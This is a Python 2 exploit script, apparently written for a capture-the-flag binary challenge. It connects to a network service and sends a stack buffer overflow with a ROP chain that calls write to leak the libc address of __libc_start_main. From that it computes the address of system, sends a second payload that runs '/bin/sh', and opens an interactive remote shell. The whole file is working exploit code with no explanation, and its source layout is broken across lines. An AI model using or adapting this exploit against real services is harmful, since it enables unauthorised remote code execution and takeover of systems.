#coding:utf-8
__author__
=
'Dazdingo'
from
socket
import
*
import
struct
import
time
import
threading
import
sys
is_recv
=
True
sock_host
=
'192.168.206.130'
sock_port
=
8080
S
=
socket(AF_INET, SOCK_STREAM)
def
send(ss, tail
=
''):
global
S
if
tail:
ss
+
=
tail
print
ss
S.send(ss)
def
outputrecv():
global
S
while
1
:
if
is_recv:
i
=
S.recv(
1024
)
if
i:
sys.stdout.write(i)
def
start_recv():
#start recv
t
=
threading.Thread(target
=
outputrecv, args
=
())
t.daemon
=
True
t.start()
def
get_shell():
#start recv
start_recv()
global
S
while
1
:
time.sleep(
0.1
)
ss
=
raw_input
()
+
'\n'
S.send(ss)
def
main():
global
S
if
len
(sys.argv)
=
=
3
:
sock_host
=
sys.argv[
1
]
sock_port
=
int
(sys.argv[
2
])
S.connect((sock_host, sock_port))
a
=
raw_input
(
'pause'
)
print
S.recv(
1024
)
send(
'syclover\x001111111\xf0'
)
print
S.recv(
1024
)
ebp
=
'\x20\x99\x04\x08'
libc
=
'\x5c\x98\x04\x08'
#__libc_start_main
retaddr1
=
'\xa0\x83\x04\x08'
# write
retaddr2
=
'\xbe\x85\x04\x08'
#pop;pop;pop;ret
pop_ebp_ret
=
'\xc0\x85\x04\x08'
retaddr3
=
'\x60\x83\x04\x08'
# read
retaddr4
=
'\xd2\x85\x04\x08'
#leave ret
send(
'A'
*
0x9c
+
ebp
+
retaddr1
+
retaddr2
+
'\x01\x00\x00\x00'
+
libc
+
'\x04\x00\x00\x00'
+
pop_ebp_ret
+
ebp
+
retaddr3
+
retaddr4
+
'\x00\x00\x00\x00'
+
'\x24\x99\x04\x08'
+
'\xf0\x00\x00\x00'
)
time.sleep(
1
)
l
=
S.recv(
1024
)
libcaddr
=
struct.unpack(
'I'
, l)[
0
]
print
'__libc_start_main:'
,
hex
(libcaddr)
system
=
libcaddr
+
0x26050
send(struct.pack(
'I'
, system)
+
'AAAA'
+
'\x30\x99\x04\x08'
+
'/bin/sh\x00'
)
get_shell()
if
__name__
=
=
'__main__'
:
main()